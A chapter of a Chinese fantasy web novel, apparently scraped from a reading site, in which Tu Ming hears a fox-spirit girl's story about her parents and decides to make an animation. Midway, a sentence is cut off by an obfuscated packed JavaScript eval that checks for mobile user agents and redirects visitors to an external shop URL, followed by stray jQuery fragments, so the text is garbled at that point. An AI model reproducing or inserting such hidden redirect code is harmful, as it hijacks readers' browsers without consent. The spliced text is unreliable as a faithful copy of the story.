整个房间突然静下来,两小只默不作声充当背景板,旬听轻“啧”一声,默默翻了个白眼,全场最尴尬、最不知所措的涂茗手一抖,掉出来三张6。
涂茗不敢抬头看,又是手忙脚乱捡牌,又是抠手指,又是倒水的,人一紧张尴尬,就看起来很忙。
谢边虽是气势汹汹一副要明算账的样子,但其实没有生气,只是颇觉无奈,看着涂茗这里动动那里动动的。
终于,一阵瞎忙之后,涂茗才从尴尬的氛围中剥离,窜起身来,把一叠牌往谢边手里一塞,郑重其事地说道,“既然你来了 ,正好接着我打。”
丢下一句“我去外面找点东西吃。”就没影了。
留下大眼瞪小眼的三人,和拿着一叠牌看着涂茗落荒而逃的谢边。
涂茗从房间里逃出来,脚步快得像是身后有鬼在追。直到拐过走廊转角,后背贴上车厢冰冷的木质壁板,她才长长吐出一口气,抬手捂住发烫的脸颊。
那三张掉出来的6,简直是当众处刑。
她蹲在过道里,把脸埋进膝盖。
车厢在白虎的牵引下微微晃动,窗外是连绵的山影和碎金般的暮色,偶尔有不知名的小兽从树梢跃过,带起一片沙沙轻响。
也不知蹲了多久,脚步声从身后传来,节奏不紧不慢,一听就知道是谁。
涂茗抬头、瞪过去说:“你又来笑话我。”
“那必须笑话一下。”谢边就在她旁边蹲下来,语气淡淡的却带着嬉笑。
“还为那碗汤生气呢?”涂茗小声道。
火光从走廊尽头的小窗漏进来,把对方的侧脸勾勒得柔和一些,但回想起那难以言喻的汤,嘴唇仍然是抿着的,显然还有所介怀。
“你说呢?”
“那就是不生气了。”涂茗轻轻挑眉,一边往大厅走一边正儿八经地胡扯,“你一向是宽容大度、不会为了一碗汤和我半天过不去。”
“是么?”被扣了高帽的谢边气笑了,声音从后头飘过来,带着一丝无可奈何的薄怒。
涂茗转身对着他挑衅般摇了摇食指,不接话。
牌局已经散了,大家围坐在大厅里。
两小只正窝在角落里啃松饼,阿熙面无表情地吧唧吧唧,像一只仓鼠;亭羽小短腿盘着坐在绒毛垫上,看到涂茗进来就招手。
“姐姐姐姐,快来哦”亭羽神秘兮兮地眨眼。
涂茗会意,在她旁边盘腿坐下,谢边看了一眼,没有走开,靠在几步远的窗台边上。
旬听不在厅里,大约是回了自己房间。
亭羽往涂茗身边蹭了蹭,小脑袋靠在她胳膊上,像一只蜷起来的毛团子。“姐姐,你还想不想听我阿爹阿娘的故事啦?”
“当然想呀。”涂茗弯腰把亭羽往自己这边拢了拢,"刚说到你阿爹要报恩以身相许,你阿娘什么反应来着?"
亭羽小脸上漾开浅浅地笑,食指竖起来贴在唇边,故意压低声音开口:"阿娘说,她救阿爹就只是随手救了,她不知道阿爹是妖。再者她不和小宠成婚。"
“噗——”涂茗正喝水,听到最后一句,差点喷出来。
这位前山庄夫人也是奇女子。
“据说阿爹听了这句话之后气死了,转身就要走。”亭羽捂住嘴咯咯笑,小眼睛提溜提溜转,“阿娘说,她把阿爹救了,阿爹就是她的了,不准走。”
涂茗愣了一瞬,忍不住跟着笑了。
这倒是意外之喜,本以为会是聊斋那般以身相许的老套路,没想到竟然是这么个发展。
“阿爹说他那时候,走也不是,留也不是,真的是气死了。”
“后来呢?”
“后来有我阿娘那句话在,阿爹自然是留下来了。”小姑娘眼睛亮晶晶的,“阿爹每天就只能在门口等阿娘吩咐,每天天不亮就去给阿娘挑水劈柴,晚上再把院子里扫得干干净净。”
“阿娘说,如果当时阿爹不化人形,她真的以为这只是一只普通的狐狸,就当小宠养了,才不会让阿爹干这些。”
“但是阿爹偏偏说了那堆话,阿娘说,那就必须干活了。那个叫啥,哦,都不能白来。”
涂茗在一旁已经笑得不行了。
“……那后来又是怎么在一起的?你阿爹是怎么打动你阿娘的?”涂茗被勾起了兴味,连靠在窗边的谢边都微微侧过头来,显然也被这个故事吸引了注意力。
亭羽歪着脑袋想了想,拍拍小手。“阿娘说,那时候只要有人来说亲,阿爹就跑去堵人家家门,搞的村里都知道阿娘有相公了,阿娘后来知道也要气死了。”
“后来怎么在一起的,其实我也不太清楚,每次我问,他们就知道笑笑笑,根本不说。”说起这,小姑娘看起来气鼓鼓的。
涂茗也先是愣了几下,随即扶额,那确实不好和小孩子讲。
亭羽接着说,“阿娘说,她就不和阿爹成婚。所以虽然后来有我们了,阿娘也不和阿爹回山庄住,还是住在村里,她说一个人住快活,我们想她就去找她。”
说到这,小姑娘一脸自豪,“我阿娘很厉害的,她以前是给大家族里的小姐做护卫的,后来觉得无聊就回村里种地了。但是阿爹的山庄刚刚想和人族做生意的时候,都是阿娘帮的忙。”
涂茗笑出了声:“就这样?”
“就这样啊,”亭羽摊开小肉手。
小姑娘讲完,眨巴着眼睛看着涂茗,像在等夸奖。
涂茗却微微走神,陷入沉思。
或许,这也是个不错的方向呢?
妖族比起人族来说,更注重长长久久的相处与陪伴,只要长相厮守,有无名分并不是最重要的。这样的故事大概是很符合他们价值观的,也是具有吸引力、值得传颂的。
他们只是缺少渠道。
涂茗忽然坐直了身体。
亭羽被她冷不丁的动作吓了一跳,仰头来看:“姐姐?”
“小亭羽,"涂茗转头看着小姑娘的眼睛,语气认真起来,“你阿爹阿娘的故事,除了你,还有别的妖族知道吗?”
“很多都知道呀。”亭羽掰着手指数,"阿婆知道,二叔知道,隔壁羽族的婶婶阿姨也知道,还有以前来山庄做客的鹿族叔叔。大伙儿可爱听啦。"
“都是阿娘有时候来山庄小住的时候讲的。阿娘还会讲一些其他的故事,大伙都会在后院听,听阿娘讲故事、喝目叶汤。”
“不过一般都是我们喝,阿娘不爱喝。”
涂茗听到这,扶额笑笑,随即想到什么静了一瞬。
然后她站起来,快步走向窗台边的谢边。
“你想做这个?”见涂茗的神色,谢边已经猜到。
“我想着,这个故事很不错,只是要用什么形式呢?我们现在可是一点设备都没有。”
回到单位以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771909|209308||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
后虽说有办公条件,但总不能真让亭羽阿娘跑过来对着镜头讲一遍吧?且不说人家愿不愿意,光是来回折腾的功夫就够呛。
而且就算是讲述,也没有一个能够广为传播的方式。他们需要的是一个覆盖面广,能长期经营的项目
“要是有手机就好了。”涂茗轻叹口气,她好怀念能上网的日子。
谢边显然也想到了这个问题,火光从窗外漏进来,他的眉骨投下一片薄薄的阴影,嘴唇微微抿着,似乎在盘算什么。
大约过了片刻,他才开口:“单位不是有那个电脑吗?我回去研究一下,说不定能搞个手机出来。”
设备的事就交给谢边了,涂茗搓了搓手,在窗台前来回踱了两步:"那我捋一捋啊。你去研发手机。那内容呢?我们总不能就讲一遍这个故事,那有点大材小用了。"
涂茗喃喃自语道。
“你打算怎么弄?”
“我本来想着是不是可以找人演出来。”涂茗停下来,掰着手指头数,“但是至少是需要两个主演,剩下的布一布景什么的——"
“但是——”
正在闭目养神的荣老爷子,这么德高望重,不合适吧;俩小狐狸也太小了,不行不行;谢边要搞设备,不方便搞;至于自己和旬听……
难道要一人分饰多角?
倒也不是不行,只是估计没有有那么好的剪辑设备。
“……演员不够。”她艰难地吐出这几个字。
窗外白虎的嘶吼隔一阵就传来一声,车厢轻轻晃悠着,松饼的香味从大厅那边飘过来,混着两小只咯咯的笑声。
一切都很安逸,除了她脑子里那个刚刚燃起来就差点被“人手不足”四个字拍灭的项目。
——等等。
涂茗忽然抬起头。
她盯着窗外那团若隐若现的光华。
这并非实体的白虎奔跑的时候,周身会裹着一层流动的、半透明的光晕,像是灵气外溢造成的视觉效果。
这玩意儿从出发的时候就在,一路跑到这会儿也没散。
她以前没多想,只当是这个世界自带的特效。
可现在盯着看久了,忽然觉得那光华流动的质感……有点像墨汁在水里晕开,有点像颜料在宣纸上慢慢洇散,层层叠叠的,边缘柔和又分明。
一个想法窜出来:做个动画怎么样?
“荣老爷子。”涂茗突然喊道。“您是怎么让白虎拉我们走的。我想试试能不能——”
荣苍正披着一件暗灰色的外袍站在大厅入口,手里端着一杯热气腾腾的茶,慢吞吞地踱过来。
“这白虎本就是我的一部分,你调动不了。”荣苍一句话就打破涂茗的幻想,刚燃起来的希望又往下沉了沉。
“不过呢——"荣苍拖长了尾音,眼角笑纹皱起来,“这本就是灵气所化,你想学的话,很简单的。”
涂茗见状马上窜到对方面前,四不像地行了个拜师礼。
荣苍端着茶的手顿了顿,抬头看了她一眼,又看了一眼旁边沉默不语的谢边,然后慢悠悠地笑了。
“从现在起您就是我正儿八经的师父了。”涂茗装作一本正经。
“小丫头别贫,我可没有那么多时间教。一会我告诉小谢,还是让他教你,”说罢冲谢边招招手,谢边会意上前去。
涂茗见此,也不再多话,找了纸和笔就开始画。